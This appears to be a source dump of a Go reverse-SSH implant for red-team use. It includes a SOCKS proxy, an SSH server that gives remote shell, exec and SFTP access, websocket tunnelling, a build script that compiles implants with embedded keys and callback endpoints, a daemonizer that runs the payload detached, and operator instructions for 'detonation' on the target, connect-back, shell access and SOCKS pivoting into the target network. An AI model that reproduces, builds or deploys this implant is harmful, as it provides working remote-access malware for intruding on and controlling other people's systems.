	// Note: Only implements v4
	switch version := buf[0]; version {
	case 4:
		switch command := buf[1]; command {
		case 1:

			// get forwarded TCP port from SOCKS stream
			port := binary.BigEndian.Uint16(buf[2:4])

			// get forwarded IP addr from SOCKS stream
			ip := net.IP(buf[4:8])

			// create net address from the ip/port info
			addr := &net.TCPAddr{IP: ip, Port: int(port)}
			buf := buf[8:]
			i := bytes.Index(buf, []byte{0})
			if i < 0 {
				log.Printf("SOCKS: [%s] unable to locate SOCKS4 user", local.RemoteAddr())
				return
			}

			// is there a user
			user := buf[:i]
			log.Printf("SOCKS: [%s] incoming SOCKS4 TCP/IP stream connection, user=%q, raddr=%s", local.RemoteAddr(), user, addr)

			// dial from local SOCKS to remote (requested  proxied) address over SSH tunnel
			log.Printf("SOCKS: dial %s <- %s", local.RemoteAddr(), local.LocalAddr())
			//remote, err := dialer.DialTCP("tcp4", local.RemoteAddr().(*net.TCPAddr), addr)
			remote, err := net.Dial("tcp4", addr.String())
			if err != nil {
				log.Printf("SOCKS: [%s] unable to connect to remote host: %v", local.RemoteAddr(), err)
				local.Write([]byte{0, 0x5b, 0, 0, 0, 0, 0, 0})
				return
			}
			local.Write([]byte{0, 0x5a, 0, 0, 0, 0, 0, 0})

			// transfer bytes from local SOCKS to remote proxied desired endpoint
			transfer(local, remote)
		default:
			log.Printf("SOCKS: [%s] unsupported command, closing connection", local.RemoteAddr())
		}
	case 5:
		authlen, buf := buf[1], buf[2:]
		auths, buf := buf[:authlen], buf[authlen:]
		if !bytes.Contains(auths, []byte{0}) {
			log.Printf("SOCKS: [%s] unsuported SOCKS5 authentication method", local.RemoteAddr())
			local.Write([]byte{0x05, 0xff})
			return
		}
		local.Write([]byte{0x05, 0x00})
		buf = make([]byte, 256)
		n, err := local.Read(buf)
		if err != nil {
			log.Printf("SOCKS: [%s] unable to read SOCKS header: %v", local.RemoteAddr(), err)
			return
		}
		buf = buf[:n]
		switch version := buf[0]; version {
		case 5:
			switch command := buf[1]; command {
			case 1:
				buf = buf[3:]
				switch addrtype := buf[0]; addrtype {
				case 1:
					if len(buf) < 8 {
						log.Printf("SOCKS: [%s] corrupt SOCKS5 TCP/IP stream connection request", local.RemoteAddr())
						local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
						return
					}
					ip := net.IP(buf[1:5])
					port := binary.BigEndian.Uint16(buf[5:6])
					addr := &net.TCPAddr{IP: ip, Port: int(port)}
					log.Printf("SOCKS: [%s] incoming SOCKS5 TCP/IP stream connection, raddr=%s", local.RemoteAddr(), addr)
					// remote, err := dialer.DialTCP("tcp", local.RemoteAddr().(*net.TCPAddr), addr)
					remote, err := net.Dial("tcp4", addr.String())
					if err != nil {
						log.Printf("SOCKS: [%s] unable to connect to remote host: %v", local.RemoteAddr(), err)
						local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
						return
					}
					local.Write([]byte{0x05, 0x00, 0x00, 0x01, ip[0], ip[1], ip[2], ip[3], byte(port >> 8), byte(port)})
					transfer(local, remote)
				case 3:
					addrlen, buf := buf[1], buf[2:]
					name, buf := buf[:addrlen], buf[addrlen:]
					ip, err := net.ResolveIPAddr("ip", string(name))
					if err != nil {
						log.Printf("SOCKS: [%s] unable to resolve IP address: %q, %v", local.RemoteAddr(), name, err)
						local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
						return
					}
					port := binary.BigEndian.Uint16(buf[:2])
					addr := &net.TCPAddr{IP: ip.IP, Port: int(port)}
					// remote, err := dialer.DialTCP("tcp", local.RemoteAddr().(*net.TCPAddr), addr)
					remote, err := net.Dial("tcp4", addr.String())
					if err != nil {
						log.Printf("SOCKS: [%s] unable to connect to remote host: %v", local.RemoteAddr(), err)
						local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
						return
					}
					local.Write([]byte{0x05, 0x00, 0x00, 0x01, addr.IP[0], addr.IP[1], addr.IP[2], addr.IP[3], byte(port >> 8), byte(port)})
					transfer(local, remote)

				default:
					log.Printf("SOCKS: [%s] unsupported SOCKS5 address type: %d", local.RemoteAddr(), addrtype)
					local.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
				}
			default:
				log.Printf("SOCKS: [%s] unknown SOCKS5 command: %d", local.RemoteAddr(), command)
				local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
			}
		default:
			log.Printf("SOCKS: [%s] unnknown version after SOCKS5 handshake: %d", local.RemoteAddr(), version)
			local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
		}
	default:
		log.Printf("SOCKS: [%s] unknown SOCKS version: %d", local.RemoteAddr(), version)
	}
}

// transfer tranfers bytes
// in - local SOCKS conn (Red)
// out - remote desired endpoint (Blue)
func transfer(in, out net.Conn) {
	wg := new(sync.WaitGroup)
	wg.Add(2)
	f := func(in, out net.Conn, wg *sync.WaitGroup) {

		// copy bytes verbatim
		n, err := io.Copy(out, in)
		log.Printf("SOCKS: xfer done: in=%v\tout=%v\ttransfered=%d\terr=%v", in.RemoteAddr(), out.RemoteAddr(), n, err)

		// close write side on local SOCKS
		if conn, ok := in.(*net.TCPConn); ok {
			conn.CloseWrite()
		}

		// close read side to remote endpoint
		if conn, ok := out.(*net.TCPConn); ok {
			conn.CloseRead()
		}
		wg.Done()
	}
	go f(in, out, wg)
	f(out, in, wg)
	wg.Wait()
	out.Close()
}


================================================
FILE: src/traffic.go
================================================
package main

import (
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"net"
	"os"
	"os/exec"
	"sync"
	"syscall"
	"time"

	"github.com/kr/pty"
	"github.com/pkg/sftp"
	"golang.org/x/crypto/ssh"
	"github.com/gorilla/websocket"
)

// Listens for SSH connection
func listenConnection(client net.Conn, config *ssh.ServerConfig) {

	// Before use, a handshake must be performed on the incoming net.Conn.
	sshConn, chans, reqs, err := ssh.NewServerConn(client, config)
	if err != nil {
		log.Printf("SSH: Failed to handshake (%s)", err)
		return
	}

	log.Printf("SSH: New connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())

	// Discard all irrelevant incoming request but serve the one you really need to care.
	// DiscardRequests consumes and rejects all requests from the
	// passed-in channel.
	// TODO: why we need this?
	//       go ssh.DiscardRequests(reqs)
	go handleRequests(reqs)
	// Accept all channels
	go handleChannels(chans)

}

func listenSConnection(SClientConn net.Conn) {
	go handleSConn(SClientConn)
}

func acceptLoop(listener net.Listener, config *ssh.ServerConfig) {
	log.Printf("SSH: SSH Port Listener: %s\n", listener.Addr().String())
	defer listener.Close()
	for {
		clientConn, err := listener.Accept()
		if err != nil {
			log.Fatal(err)
		}
		log.Printf("SSH: New connection found on %s\n", listener.Addr().String())
		go listenConnection(clientConn, config)
	}
}

func acceptSLoop(listener net.Listener) {

	log.Printf("SSH: SOCKS Listener: %s\n", listener.Addr().String())
	defer listener.Close()
	for {
		clientConn, err := listener.Accept()
		log.Printf("local addr %s\n", clientConn.LocalAddr())
		if err != nil {
			log.Fatal(err)
		}
		log.Printf("SSH: SOCKS: New connection found on %s\n", listener.Addr().String())

		go listenSConnection(clientConn)
	}

	log.Println("SSH: waiting for all existing connections to finish")
	connections.Wait()
	log.Println("SSH: shutting down")
}

func handleRequests(reqs <-chan *ssh.Request) {
	for req := range reqs {
		log.Printf("SSH: received out-of-band request: %+v", req)
	}
}

// Start assigns a pseudo-terminal tty os.File to c.Stdin, c.Stdout,
// and c.Stderr, calls c.Start, and returns the File of the tty's
// corresponding pty.
func PtyRun(c *exec.Cmd, tty *os.File) (err error) {
	defer tty.Close()
	c.Stdout = tty
	c.Stdin = tty
	c.Stderr = tty
	c.SysProcAttr = &syscall.SysProcAttr{
		Setctty: true,
		Setsid:  true,
	}
	return c.Start()
}

func handleChannels(chans <-chan ssh.NewChannel) {

	// Service the incoming Channel channel.
	for newChannel := range chans {
		// Channels have a type, depending on the application level
		// protocol intended. In the case of a shell, the type is
		// "session" and ServerShell may be used to present a simple
		// terminal interface.
		// TODO: other types of channels (x11, forwarded-tcp, direct-tcp) may need to be handled here
		if t := newChannel.ChannelType(); t != "session" {
			newChannel.Reject(ssh.UnknownChannelType, fmt.Sprintf("SSH: unknown channel type: %s", t))
			continue
		}
		channel, requests, err := newChannel.Accept()
		if err != nil {
			log.Printf("SSH: could not accept channel (%s)", err)
			continue
		}

		// allocate a terminal for this channel
		log.Print("SSH: creating pty...")
		// Create new pty
		f, tty, err := pty.Open()
		if err != nil {
			log.Printf("SSH: could not start pty (%s)", err)
			continue
		}

		var shell string
		shell = os.Getenv("SHELL")
		if shell == "" {
			shell = SSHShell // Take defaults
		}

		// Sessions have out-of-band requests such as "exec", "shell", "pty-req" and "env"
		go func(in <-chan *ssh.Request) {
			for req := range in {

				// log.Printf("%v %s", req.Payload, req.Payload)
				ok := false
				switch req.Type {

				case "exec":
					ok = true
					command := string(req.Payload[4 : req.Payload[3]+4])

					// Start Command via shell
					// TODO: maybe without shell?
					cmd := exec.Command(shell, []string{"-c", command}...)
					log.Printf("SSH: cmd to exec: %s\n", command)

					cmd.Stdout = channel
					cmd.Stderr = channel
					cmd.Stdin = channel

					err := cmd.Start()
					if err != nil {
						log.Printf("SSH: could not start command (%s)", err)
						continue
					}

					// Teardown session
					go func() {
						_, err := cmd.Process.Wait()
						if err != nil {
							log.Printf("SSH: failed to exit bash (%s)", err)
						}
						channel.Close()
						log.Printf("SSH: session closed")
					}()

				case "shell":
					// TODO: parameterize shell and TERM
					cmd := exec.Command(shell)
					cmd.Env = []string{"TERM=" + SSHEnvTerm}
					err := PtyRun(cmd, tty)
					if err != nil {
						log.Printf("SSH: Error Pty: %s", err)
					}

					// Teardown session
					var once sync.Once
					closeCh := func() {
						channel.Close()
						log.Printf("SSH: session closed")
					}

					//pipe session to bash and visa-versa
					go func() {
						_, err := io.Copy(channel, f)
						if err != nil {
							log.Println(fmt.Sprintf("SSH: error copy BLUE SHELL -> RED remote : %s", err))
						}
						once.Do(closeCh)
					}()
					go func() {
						_, err := io.Copy(f, channel)
						if err != nil {
							log.Println(fmt.Sprintf("error copy RED remote -> BLUE SHELL: %s", err))
						}
						once.Do(closeCh)
					}()

					// We don't accept any commands (Payload),
					// only the default shell.
					// TODO: What is this and do we need it?
					if len(req.Payload) == 0 {
						ok = true
					}

				case "pty-req":
					// Responding 'ok' here will let the client
					// know we have a pty ready for input
					ok = true
					// Parse body...
					termLen := req.Payload[3]
					termEnv := string(req.Payload[4 : termLen+4])
					w, h := parseDims(req.Payload[termLen+4:])
					SetWinsize(f.Fd(), w, h)
					log.Printf("SSH: pty-req '%s'", termEnv)

				case "window-change":
					w, h := parseDims(req.Payload)
					SetWinsize(f.Fd(), w, h)
					continue //no response

				case "subsystem":
					log.Printf("SSH: Subsystem wanted: %s\n", req.Payload[4:])
					subsystemId := string(req.Payload[4:])
					if subsystemId == "sftp" {

						debugStream := ioutil.Discard
						serverOptions := []sftp.ServerOption{
							sftp.WithDebug(debugStream),
						}

						server, err := sftp.NewServer(
							channel,
							serverOptions...,
						)
						if err != nil {
							log.Println("SSH: SFTP error", err)
						}
						if err := server.Serve(); err == io.EOF {
							server.Close()
							log.Println("SSH: SFTP client exited session.")
						} else if err != nil {
							log.Println("SSH: SFTP server completed with error:", err)
						}

						ok = true
					} else {
						// TODO: Implement `env` type of *ssh.Request
						log.Printf("Declining Subsystem: %s\n", subsystemId)
					}
				}

				if !ok {
					log.Printf("SSH: declining %s request...", req.Type)
				}

				req.Reply(ok, nil)
			}
		}(requests)
	}
}

// In order to comply websocket to net.Conn interface it needs to implement Read/Write
// TODO: Refactor
func NewWebSocketConn(websocketConn *websocket.Conn) net.Conn {
	c := wsConn{
		Conn: websocketConn,
	}
	return &c
}

//Read is not threadsafe though thats okay since there
//should never be more than one reader
func (c *wsConn) Read(dst []byte) (int, error) {
	ldst := len(dst)
	//use buffer or read new message
	var src []byte
	if l := len(c.buff); l > 0 {
		src = c.buff
		c.buff = nil
	} else {
		t, msg, err := c.Conn.ReadMessage()
		if err != nil {
			return 0, err
		} else if t != websocket.BinaryMessage {
			log.Printf("<WARNING> non-binary msg")
		}
		src = msg
	}
	//copy src->dest
	var n int
	if len(src) > ldst {
		//copy as much as possible of src into dst
		n = copy(dst, src[:ldst])
		//copy remainder into buffer
		r := src[ldst:]
		lr := len(r)
		c.buff = make([]byte, lr)
		copy(c.buff, r)
	} else {
		//copy all of src into dst
		n = copy(dst, src)
	}
	//return bytes copied
	return n, nil
}

func (c *wsConn) Write(b []byte) (int, error) {
	if err := c.Conn.WriteMessage(websocket.BinaryMessage, b); err != nil {
		return 0, err
	}
	n := len(b)
	return n, nil
}

func (c *wsConn) SetDeadline(t time.Time) error {
	if err := c.Conn.SetReadDeadline(t); err != nil {
		return err
	}
	return c.Conn.SetWriteDeadline(t)
}

================================================
FILE: src/types.go
================================================
package main

import (
	"fmt"
	"github.com/gorilla/websocket"
)

// Implant Types

// Endpoint: address:port
type Endpoint struct {
	Host string
	Port string
}

func (endpoint *Endpoint) String() string {
	return fmt.Sprintf("%s:%s", endpoint.Host, endpoint.Port)
}

// Websocket connection
type wsConn struct {
	*websocket.Conn
	buff []byte
}


================================================
FILE: src/vars.go
================================================
package main

import "sync"

// Global vars
var connections = new(sync.WaitGroup)

// LD_FLAGS' modifiable constants
var (
	SSHServerHost string //SSHServer host
	SSHServerPort string //SSHServer port
	SSHServerUser string //SSHServer user, logging in to SSHServer SSH

	SSHRemoteCmdHost string //SSHRemote host
	SSHRemoteCmdPort string //SSHRemote port
	SSHRemoteCmdUser string //user logging in on reverse SSH shell, addt'l control
	SSHRemoteCmdPwd  string //pw for the ^^ user

	SSHShell           string // Default Shell
	SSHEnvTerm		   string // Terminal for `exec` request type
	SSHRemoteSocksHost string //SOCKS host
	SSHRemoteSocksPort string //SOCKS port

	SSHServerUserKey           string // Encrypted RSA key for SSH tunnel. Embedded unwrap
	SSHServerUserKeyUrl        string // Where encrypted RSA key for SSH tunnel lives. Remote unwrap
	SSHServerUserKeyPassphrase string // decryption key for ^^

	HTTPProxy                string // HTTP Proxy
	HTTPProxyFromEnvironment string // HTTP Proxy set from the Blue environment
	HTTPProxyAuthUser        string // HTTP Proxy User
	HTTPProxyAuthPass        string // HTTP Proxy Pass
	HTTPEndpoint             string // HTTP Endpoint
	WSEndpoint               string // WS/S Endpoint

	LogFile   string // Log file for implant (debugging)
	Daemonize string // Background our of the controlling terminal
	PIDFile   string // PID File for daemon
)

// SSHRemote reverse forwarding port for shell (on Red network)
var SSHRemoteEndpoint = Endpoint{
	Host: SSHRemoteCmdHost,
	Port: SSHRemoteCmdPort,
}

// SSHRemote reverse forwarding port for SOCKS (on Red network)
var SSHRemoteEndpointSOCKS = Endpoint{
	Host: SSHRemoteSocksHost,
	Port: SSHRemoteSocksPort,
}


================================================
FILE: tools/build_implant.sh
================================================
#!/bin/bash

usage(){
    echo "Message: $2\n"
    echo "Usage: $1 [build.profile]\n"
    exit 1
}


if [[ $# -eq 0 ]]
then
    BUILDCONF="./build.profile"
else
    BUILDCONF=${1}
fi

if [[ -f  ${BUILDCONF} ]]
then
    source ${BUILDCONF}
else
    usage $0 "Cannot find build configuration"
fi


#------------------------- Build --------------------#
export GOOS=${DropperOS} GOARCH=${DropperArch}

TOP_DIR="/Users/dimas/Code/go/src/sshpipe"
TOOL_DIR="${TOP_DIR}/tools"
CODE_DIR="${TOP_DIR}/src"
OUT_DIR="${TOP_DIR}/out/${ImplantID}"

[[ ! -d ${OUT_DIR} ]] && mkdir ${OUT_DIR}
cd ${TOP_DIR}

printf "\n\n\t%s\n" "Cutting Implant ID ${ImplantID} for target (${DropperOS}/${DropperArch})"
printf "\n%s\n" "### PHASE I:  Implant Generation ###"
printf "%s\n\n" "------------------------------------"

echo "[*] Building Keys For ${ImplantID} "
go run ${TOOL_DIR}/keygen.go \
       -bits ${SSHServerUserKeyBits}  -pass ${SSHServerUserKeyPassphrase} \
       -pkfile ${SSHServerUserKeyFile}.pk \
       -pkfile-b64 ${SSHServerUserKeyFile}.bpk \
       -pubfile ${SSHServerUserKeyFile}.pub

if [[ $? -eq 0 ]]
then
    echo
    echo "[*] Building dropper ${ImplantID} (${DropperName}) for ${DropperOS} / ${DropperArch} "

    go build  -buildmode=${DropperBuildType} -ldflags \
	"-s -w \
     -X main.ImplantID=${ImplantID}  \
     -X main.SSHShell=${SSHShell}  \
     -X main.SSHEnvTerm=${SSHEnvTerm}  \
     -X main.SSHServerPort=${SSHServerPort}  \
     -X main.SSHServerHost=${SSHServerHost} \
     -X main.SSHServerUser=${SSHServerUser} \
     -X main.SSHServerUserKey=$( cat ${SSHServerUserKeyFile}.bpk ) \
     -X main.SSHServerUserKeyUrl=${SSHServerUserKeyUrl} \
     -X main.SSHServerUserKeyPassphrase=${SSHServerUserKeyPassphrase} \
     -X main.SSHRemoteCmdHost=${SSHRemoteCmdHost}  \
     -X main.SSHRemoteCmdPort=${SSHRemoteCmdPort} \
     -X main.SSHRemoteCmdUser=${SSHRemoteCmdUser} \
     -X main.SSHRemoteCmdPwd=${SSHRemoteCmdPwd} \
     -X main.SSHRemoteSocksHost=${SSHRemoteSocksHost} \
     -X main.SSHRemoteSocksPort=${SSHRemoteSocksPort} \
     -X main.HTTPProxyFromEnvironment=${HTTPProxyFromEnvironment} \
     -X main.HTTPProxy=${HTTPProxy} \
     -X main.HTTPProxyAuthUser=${HTTPProxyAuthUser} \
     -X main.HTTPProxyAuthPass=${HTTPProxyAuthPass} \
     -X main.HTTPEndpoint=${HTTPEndpoint} \
     -X main.WSEndpoint=${WSEndpoint} \
     -X main.LogFile=${LogFile} \
     -X main.PIDFile=${PIDFile}  \
     -X main.Daemonize=${Daemonize}" \
     -o ${OUT_DIR}/${DropperName} \
            ${CODE_DIR}/rssh.go  ${CODE_DIR}/types.go ${CODE_DIR}/vars.go \
            ${CODE_DIR}/pty.go ${CODE_DIR}/socksport.go ${CODE_DIR}/keymgmt.go \
            ${CODE_DIR}/traffic.go
else
    printf "    %s\n" "KeyGen unsuccessful"
    exit 2
fi

if [[ $? -eq 0 ]]
then

printf "\n\n%s\n\n" "**********************************************"
echo "Implant: ${DropperName} ($(stat -f '%z bytes' ${OUT_DIR}/${DropperName})) Generated"
echo "!!! Here is the info on Implant configuraton !!!"
echo "!!! Record the info somewhere safe and we have saved a copy here !!!"
echo "!!!     Implant Info: ${OUT_DIR}/${ImplantID}.info               !!!"
echo "!!! This info is mostly embedded in the Implant.                 !!!"
echo "!!! Again, save it, or you will need to regenerate the implant.  !!!"
printf "%s\n\n" "**********************************************"

printf "%s\n\n" "-------------- START INFO--------------"
cat<<END | tee ${OUT_DIR}/${ImplantID}.info
(Blue) Implant Egress HTTP Proxy Info
    +HTTP Proxy:(from env?) ${HTTPProxyFromEnvironment}
     HTTP Proxy: ${HTTPProxy}
     HTTP Proxy AuthUser ${HTTPProxyAuthUser}
     HTTP Proxy AuthPass ${HTTPProxyAuthPass+<masked>}

(Blue) Implant Execution Context
    Daemonize? ${Daemonize}
    PIDFile: ${PIDFile}
    LogFile (!! Debug locally !!): ${LogFile}
    SSHEnvTerm ${SSHEnvTerm}
    SSHShell ${SSHShell}

(Yellow/Red) Implant HTTP/WS/WSS Wrap Endpoints
    HTTP Endpoint: ${HTTPEndpoint}
    WS Endpoint: ${WSEndpoint}

(Yellow/Red) SSH Rendezvous Point:
    SSHServerHost=${SSHServerHost}
    SSHServerPort=${SSHServerPort}
    SSHServerUser=${SSHServerUser}

(Yellow/Red) SSH Key Hosting / Embedding:
    +SSHServerUserKeyFile=${SSHServerUserKeyFile}.bpk
    SSHServerUserKeyUrl=${SSHServerUserKeyUrl}
    SSHServerUserKeyPassphrase=${SSHServerUserKeyPassphrase}

(Red) RT Operator Interface to SSH Implant Channel:
    SSHRemoteCmdHost=${SSHRemoteCmdHost}
    SSHRemoteCmdPort=${SSHRemoteCmdPort}

(Red) RT Operator SSH Tunnel Usage and Authentication Info
    SSHRemoteCmdUser=${SSHRemoteCmdUser}
    SSHRemoteCmdPwd=${SSHRemoteCmdPwd}

(Red) RT Operator SOCKS Tunnel Usage Info:
    SSHRemoteSocksHost=${SSHRemoteSocksHost}
    SSHRemoteSocksPort=${SSHRemoteSocksPort}
END

printf "%s\n\n" "-------------- END INFO----------------"
echo "[*] Packaging ${ImplantID} for infrastructure deployment "

# pushd/popd not always available
cd  ${OUT_DIR}
tar -cvzf ${ImplantID}.tar.gz ./${ImplantID}.{pk,bpk,pub}
cd -

printf "\n\n%s\n\n" "**********************************************"
echo "Based on your build profile you can expect the following Deployment Plan"
printf "%s\n\n" "**********************************************"

printf "\n%s\n" "### PHASE II: Red Infra Prep Deployment Guidance ###"
printf "%s\n\n" "----------------------------------------------------"
cat<<END
A. If you have chosen to fetch armored SSH key from external Yellow/Red hosting, please host  ${SSHServerUserKeyFile}.bpk on your HTTP server. The key is encrypted, passworded and B64 protected. You can leave it on clear storage and use plaintext transmission. The implant will take care of the rest.

B.You will need to create user ${SSHServerUser} on SSH server where you want Implant to terminate the reverse tunnel on Red network. Refer to scripts in infra directory. SSH keys for the would be user are pregenerated:  ${SSHServerUserKeyFile}.pk and  ${SSHServerUserKeyFile}.pub. You need to place them in .ssh directory as per usual SSH access setup (mind the permissions on keys and .ssh directory)

 A/B Note: For your convenience we have created a package ${OUT_DIR}/${ImplantID}.tar.gz containing SSH Keys (${ImplantID}.{pk,bpk,pub}). You can use tools/install_implant.sh to automate the steps.

C. You will need to stand up an WSS unwrap service on Yellow/Red side. Refer to infra/wss2ssh_tun.sh script to help you with that.
END

printf "\n%s\n" "### PHASE III: Blue Detonation and Connect back ###"
printf "%s\n\n" "---------------------------------------------------"
cat<<END

    0. Get the Implant on the Blue system detonate.
    1. Implant ${ImplantID} connects to WS Endpoint ${WSEndpoint}
        which unwraps to SSH tunnel ${SSHServerHost}:${SSHServerPort} Red rendezvous

    2. Implant authenticates to SSH rendezvous with RSA PK in ${SSHServerUserKeyFile}.pk wrapped for transmission as ${SSHServerUserKeyFile}.bpk as SSH/OS user ${SSHServerUser}

    3. Once authenticated the Implant opens up reverse SSH tunnel to Blue network and also stands up two ports on the Red side for convenience:
        - SSH command port ${SSHRemoteCmdPort}
        - SOCKS ${SSHRemoteSocksPort} port used for proxying Red traffic over the channel to the implant to exit on Blue network

END

printf "\n%s\n" "### PHASE IV: RTO Guidance ###"
printf "%s\n\n" "-----------------------------------------------"
cat<<END
RTOs can connect to the new implant channel by connecting to Red rendezvous ports exposed by the implant on Red network.

Examples:
    For SSH interactive shell: ssh ${SSHRemoteCmdUser}@${SSHRemoteCmdHost} -p ${SSHRemoteCmdPort}
    For SSH batch exec: ssh ${SSHRemoteCmdUser}@${SSHRemoteCmdHost} -p ${SSHRemoteCmdPort} /path/command/on/blue
    For SCP: scp -P ${SSHRemoteCmdPort} /path/to/file/on/red  ${SSHRemoteCmdUser}@${SSHRemoteCmdHost}:/path/to/file/on/blue"

Note: To use SOCKS in browser point browser to ${SSHRemoteSocksHost}:${SSHRemoteSocksPort} or for system wide coverage use proxychains with the same configuration
END
else
    printf "    %s\n" "Implant build unsuccessful"
    exit 3
fi

printf "%s\n" "-----------------End Transmission -----------------"
printf "\n%s\n" "Good luck!"


# upx --brute ./rssh
# 7.1 vs. 1.7 mb


================================================
FILE: tools/call_implant_daemon.py
================================================
#!/usr/bin/env python3
import sys
import os
import subprocess
from ctypes import *


def irun(path_implant, itype):
    print("In Mrun")

    if itype == "bin":
        print("Bin")
        process = subprocess.Popen(
            path_implant,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE)

        process.wait()

    if itype == "lib":
        print("Lib")
        dll = cdll.LoadLibrary(path_implant)
        res = dll.entry()


def daemonize(idir):

    try:
        pid = os.fork()
        if pid > 0:
            # exit first parent
            sys.exit(0)
    except OSError as err:
        sys.stderr.write('fork #1 failed: {0}\n'.format(err))
        sys.exit(1)

    # decouple from parent environment
    os.chdir(idir)
    os.setsid()
    os.umask(0)

    # do second fork
    try:
        pid = os.fork()
        if pid > 0:

            # exit from second parent
            sys.exit(0)
    except OSError as err:
        sys.stderr.write('fork #2 failed: {0}\n'.format(err))
        sys.exit(1)

    # redirect standard file descriptors
    sys.stdout.flush()
    sys.stderr.flush()
    si = open(os.devnull, 'r')
    so = open(os.devnull, 'a+')
    se = open(os.devnull, 'a+')

    os.dup2(si.fileno(), sys.stdin.fileno())
    os.dup2(so.fileno(), sys.stdout.fileno())
    os.dup2(se.fileno(), sys.stderr.fileno())


if __name__ == '__main__':
    # Start the daemon
    if len(sys.argv) < 3:
        print("Usage: <type> /full/path/to/payload")
        print("       type: bin|lib ")
        sys.exit(1)

    # preserve before daemonizing
    itype = str(sys.argv[1])
    ipath = str(os.path.abspath(sys.argv[2]))
    daemonize("/tmp")
    irun(ipath, itype)




================================================
FILE: tools/install_implant.sh
================================================
#!/bin/bash

#
#
# Build assumes Linux infra
#
#
#
usage(){
   echo "$0 /path/<implant>.tar.gz"
   exit 1
}

AGENT_PKG=""
AGENTID=""
AHOME_DIR="/tmp/"

if [[ $# -ne 1 ]]
then
   usage
fi

if [[ -f $1 ]]
then
   AGENT_PKG=$1
   _t=$(/usr/bin/basename -- "${AGENT_PKG}")
   AGENTID="${_t%.*.*}"
else 
	usage
fi

echo "[+] Checking if ${AGENTID} OS account is available"
/usr/bin/getent passwd $AGENTID >/dev/null

if [[ $? -eq 0 ]]
then
   echo "User account is already present. Investigate. Halting"
   exit 3
fi

echo "[+] Creating ${AGENTID} OS account"
AHOME="${AHOME_DIR}/${AGENTID}"

/usr/sbin/useradd  -c ${AGENTID} -d ${AHOME} -m -N -s /bin/false ${AGENTID} \
	-p $(dd if=/dev/urandom bs=1024 count=1 status=none | shasum | cut -c 1-31) # Throwaway password

if [[ -d ${AHOME} ]]
then
    cd  ${AHOME}
	echo "[+] Setting up ${AGENTID} HOME"
	chmod 700 ${AHOME} 
	mkdir ${AHOME}/.ssh && chown ${AGENTID} ${AHOME}/.ssh && chmod 700 ${AHOME}/.ssh

	echo "[+] Unpacking SSH Keys from ${AGENTID}.tar.gz"
    /bin/tar -xvzf ${AGENT_PKG} -C  ${AHOME}/.ssh

	echo "[+] Setting ${AGENTID} SSH keys"
	chown ${AGENTID} ${AHOME}/.ssh/${AGENTID}.{pk,pub,bpk} && chmod 600 ${AHOME}/.ssh/${AGENTID}.{pk,pub,bpk}

	echo "[+] Adding PUBLIC Key ${AHOME}/.ssh/${AGENTID} to Agent's Authorized keys file"
	cat ${AHOME}/.ssh/${AGENTID}.pub > ${AHOME}/.ssh/authorized_keys
	chown ${AGENTID} ${AHOME}/.ssh/authorized_keys

	echo "[+] Currently, content of ${AGENTID} 's HOME: "
	ls -ld ${AHOME}
	ls -ld ${AHOME}/.ssh
	ls -l ${AHOME}/.ssh/*

    cd -
	echo "[!!!] If not embedding PK into implant, host armored PK: ${AHOME}/.ssh/${AGENTID}.bpk "
else
	echo "No ${AHOME} found ?"
fi


================================================
FILE: tools/keygen.go
================================================
// Ideas from:
// https://gist.githubusercontent.com/devinodaniel/8f9b8a4f31573f428f29ec0e884e6673/raw/d4d4495db6fcc6cce367c11a6f70ccfb65ba36a9/gistfile1.txt

//
// keygen.go -bits 4096  -pass "hello" -pkfile /tmp/agentx.pk -pkfile-b64 /tmp/agentx.bpk -pubfile /tmp/agentx.pub
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/md5"
	"crypto/rand"
	"crypto/rsa"
	"crypto/x509"
	"encoding/base64"
	"encoding/hex"
	"encoding/pem"
	"flag"
	"fmt"
	"golang.org/x/crypto/ssh"
	"io"
	"io/ioutil"
	"log"
	"os"
)

func main() {


	var (
		pkFile string
		pkFileB64 string
		pubFile string
		passphrase string
		bitSize *int
	)

	flag.StringVar(&pkFile, "pkfile", "/dev/null", "PK file path")
	flag.StringVar(&pubFile, "pubfile", "/dev/null", "PUB file path")
	flag.StringVar(&pkFileB64, "pkfile-b64", "/dev/null", "PK B64 file path")
	flag.StringVar(&passphrase, "pass", "/dev/null", "Passphrase for PK")
	bitSize = flag.Int("bits", 4096, "RSA bit size (default: 4096)")


	flag.Parse()

	fmt.Printf("[+] Generating PK\n")
	privateKey, err := generatePrivateKey(*bitSize)
	if err != nil {
		log.Fatal(err.Error())
	}

	fmt.Printf("[+] Generating PUB from PK (SSH pub)\n")
	publicKeyBytes, err := generatePublicKey(&privateKey.PublicKey)
	if err != nil {
		log.Fatal(err.Error())
	}

	fmt.Printf("[+] Encoding PK to PEM\n")
	privateKeyBytes := encodePrivateKeyToPEM(privateKey)

	fmt.Printf("[+] Writing PK to file: %s \n", pkFile)
	err = writeKeyToFile(privateKeyBytes, pkFile)
	if err != nil {
		log.Fatal(err.Error())
	}

	fmt.Printf("[+] Writing PUB to file: %s \n", pubFile)
	err = writeKeyToFile(publicKeyBytes, pubFile)
	if err != nil {
		log.Fatal(err.Error())
	}

	fmt.Printf("[+] Encrypting PK with passphrase (transmission/storage)\n")
	// PK to BIN
	ciphertext := encBytes(privateKeyBytes, passphrase)
	// fmt.Printf("[*] PK (HEX) : [%x]... \n", ciphertext[:80])

	// BIN to B64
	fmt.Printf("[+] Encoding PK B64 armored PK (transmission)\n")
	ciphertextB64 := base64.StdEncoding.EncodeToString([]byte(ciphertext))
	// fmt.Printf("[*] PK (B64) : [%s]... \n", ciphertextB64[:80])

	// Save PK to File
	fmt.Printf("[+] Saving B64 armored PK to file: %s\n", pkFileB64)
	writeKeyToFile([]byte(ciphertextB64), pkFileB64)
}

// generatePrivateKey creates a RSA Private Key of specified byte size
